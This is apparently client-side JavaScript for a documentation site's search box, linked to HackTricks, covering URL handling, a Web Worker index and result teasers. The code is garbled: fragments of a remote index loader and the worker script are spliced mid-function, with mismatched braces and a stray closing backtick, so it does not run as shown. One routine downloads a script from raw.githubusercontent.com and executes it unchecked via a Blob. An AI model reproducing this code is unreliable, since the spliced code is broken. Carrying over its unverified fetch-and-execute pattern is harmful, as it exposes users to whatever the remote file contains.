var searchterm = searchbar.value.trim();
if (searchterm != "") {
searchbar.classList.add("active");
doSearch(searchterm);
} else {
searchbar.classList.remove("active");
showResults(false);
removeChildren(searchresults);
}
setSearchUrlParameters(searchterm, "push_if_new_search_else_replace");
// Remove marks
marker.unmark();
}
// Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor .
// `action` can be one of "push", "replace", "push_if_new_search_else_replace"
// and replaces or pushes a new browser history item.
// "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet.
function setSearchUrlParameters(searchterm, action) {
var url = parseURL(window.location.href);
var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM);
if (searchterm != "" || action == "push_if_new_search_else_replace") {
url.params[URL_SEARCH_PARAM] = searchterm;
delete url.params[URL_MARK_PARAM];
url.hash = "";
} else {
delete url.params[URL_MARK_PARAM];
delete url.params[URL_SEARCH_PARAM];
}
// A new search will also add a new history item, so the user can go back
// to the page prior to searching. A updated search term will only replace
// the url.
if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) {
history.pushState({}, document.title, renderURL(url));
} else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) {
history.replaceState({}, document.title, renderURL(url));
}
}
function doSearch(searchterm) {
// Don't search the same twice
if (current_searchterm == searchterm) { return; }
else { current_searchterm = searchterm; }
if (searchindex == null) { return; }
// Do the actual search
var results = searchindex.search(searchterm, search_options);
var resultcount = Math.min(results.length, results_options.limit_results);
// Display search metrics
searchresults_header.innerText = formatSearchMetric(resultcount, searchterm);
// Clear and insert results
var searchterms = searchterm.split(' ');
removeChildren(searchresults);
for(var i = 0; i < resultcount ; i++){
var resultElem = document.createElement('li');
resultElem.innerHTML = formatSearchResult(results[i], searchterms);
searchresults.appendChild(resultElem);
}
// Display results
showResults(true);
}
(async function loadSearchIndex(lang = window.lang || "en") {
const branch = lang === "en" ? "master" : lang;
const rawUrl =
`https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`;
const localJs = "/searchindex.js";
const TIMEOUT_MS = 10_000;
const injectScript = (src) =>
new Promise((resolve, reject) => {
const s = document.createElement("script");
s.src = src;
s.onload = () => resolve(src);
s.onerror = (e) => reject(e);
document.head.appendChild(s);
if(!rawLoaded) return null; /* give up on this index */
const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud };
delete self.search.index; delete self.search.doc_urls;
return data;
}
(async () => {
const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js';
const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js';
const indices = [];
const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main);
const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud);
if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; }
/* build index objects */
const built = indices.map(d => ({
idx : elasticlunr.Index.load(d.json),
urls: d.urls,
cloud: d.cloud,
base: d.cloud ? 'https://cloud.hacktricks.wiki/' : ''
}));
postMessage({ready:true});
const MAX = 30, opts = {bool:'AND', expand:true};
self.onmessage = ({data:q}) => {
if(!q){ postMessage([]); return; }
const all = [];
for(const s of built){
const res = s.idx.search(q,opts);
if(!res.length) continue;
const max = res[0].score || 1;
res.forEach(r => {
const doc = s.idx.documentStore.getDoc(r.ref);
all.push({
norm : r.score / max,
title: doc.title,
body : doc.body,
breadcrumbs: doc.breadcrumbs,
url : s.base + s.urls[r.ref],
cloud: s.cloud
});
try {
/* 1 — download raw JS from GitHub */
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), TIMEOUT_MS);
const res = await fetch(rawUrl, { signal: controller.signal });
clearTimeout(timer);
if (!res.ok) throw new Error(`HTTP ${res.status}`);
/* 2 — wrap in a Blob so the browser sees application/javascript */
const code = await res.text();
const blobUrl = URL.createObjectURL(
new Blob([code], { type: "application/javascript" })
);
/* 3 — execute it */
await injectScript(blobUrl);
/* ───────────── PATCH ─────────────
heavy parsing now deferred to idle time
*/
requestIdleCallback(() => init(window.search));
return; // ✔ UI remains responsive
} catch (eRemote) {
console.warn("Remote JS failed →", eRemote);
}
/* ───────── fallback: local copy ───────── */
try {
await injectScript(localJs);
/* ───────────── PATCH ───────────── */
requestIdleCallback(() => init(window.search));
return;
} catch (eLocal) {
console.error("Local JS failed →", eLocal);
}
})();
// Exported functions
search.hasFocus = hasFocus;
})(window.search);
});
}
all.sort((a,b)=>b.norm-a.norm);
postMessage(all.slice(0,MAX));
};
})();
`;
/* ───────────── 2. spawn worker ───────────── */
const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'})));
/* ───────────── 3. DOM refs ─────────────── */
const wrap = document.getElementById('search-wrapper');
const bar = document.getElementById('searchbar');
const list = document.getElementById('searchresults');
const listOut = document.getElementById('searchresults-outer');
const header = document.getElementById('searchresults-header');
const icon = document.getElementById('search-toggle');
const READY_ICON = icon.innerHTML;
icon.textContent = '⏳';
icon.setAttribute('aria-label','Loading search …');
const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13;
let debounce, teaserCount=0;
/* ───────────── helpers (teaser, metric) ───────────── */
const escapeHTML = (()=>{const M={'&':'&amp;','<':'&lt;','>':'&gt;','"':'&#34;','\'':'&#39;'};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})();
const URL_MARK='highlight';
function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;}
function makeTeaser(body,terms){
const stem=w=>elasticlunr.stemmer(w.toLowerCase());
const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30;
const W=[],sents=body.toLowerCase().split('. ');
let i=0,v=W_F,found=false;
sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;});
if(!W.length) return body;
const win=Math.min(W.length,WIN);
const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)];
for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1];
const best=found?sums.lastIndexOf(Math.max(...sums)):0;
const out=[]; i=W[best][2];
for(let k=best;k<best+win;k++){const [w,wt,pos]=W[k]; if(i<pos){out.push(body.substring(i,pos)); i=pos;} if(wt===W_S) out.push('<em>'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push('</em>'); i=pos+w.length;}
return out.join('');
}
function format(d,terms){
const teaser=makeTeaser(escapeHTML(d.body),terms);
teaserCount++;
const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27');
const parts=d.url.split('#'); if(parts.length===1) parts.push('');
const abs=d.url.startsWith('http');
const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`;
const style=d.cloud?" style=\"color:#1e88e5\"":"";
const isCloud=d.cloud?" [Cloud]":" [Book]";
return `<a href="${href}" aria-details="teaser_${teaserCount}"${style}>`+
`${d.breadcrumbs}${isCloud}<span class="teaser" id="teaser_${teaserCount}" aria-label="Search Result Teaser">${teaser}</span></a>`;
}
/* ───────────── UI control ───────────── */
function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}}
function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();}
icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden')));
document.addEventListener('keydown',e=>{
if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return;
const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName);
if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();}
else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}}
else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}}
});
bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); });
/* ───────────── worker messages ───────────── */
worker.onmessage = ({data}) => {
if(data && data.ready!==undefined){
if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); }
else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); }
return;
}
const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);
header.textContent=metric(docs.length,q);
clear(list);
docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);});
listOut.classList.toggle('hidden',!docs.length);
};
})();